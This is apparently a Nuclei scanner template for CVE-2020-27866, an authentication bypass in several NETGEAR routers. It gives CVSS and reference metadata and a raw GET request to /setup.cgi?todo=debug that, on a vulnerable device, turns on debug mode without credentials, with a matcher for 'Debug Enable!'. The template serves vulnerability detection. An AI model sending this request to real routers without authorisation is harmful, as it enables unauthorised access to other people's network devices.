id: CVE-2020-27866 info: name: NETGEAR - Authentication Bypass author: gy741 severity: high description: NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations. reference: - https://wzt.ac.cn/2021/01/13/AC2400_vuln/ - https://www.zerodayinitiative.com/advisories/ZDI-20-1451/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866 - https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers - https://nvd.nist.gov/vuln/detail/CVE-2020-27866 classification: cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-27866 cwe-id: CWE-288 tags: cve,cve2020,netgear,auth-bypass requests: - raw: - | GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en Connection: close matchers-condition: and matchers: - type: status status: - 200 - type: word words: - 'Debug Enable!' part: body # Enhanced by mp on 2022/07/15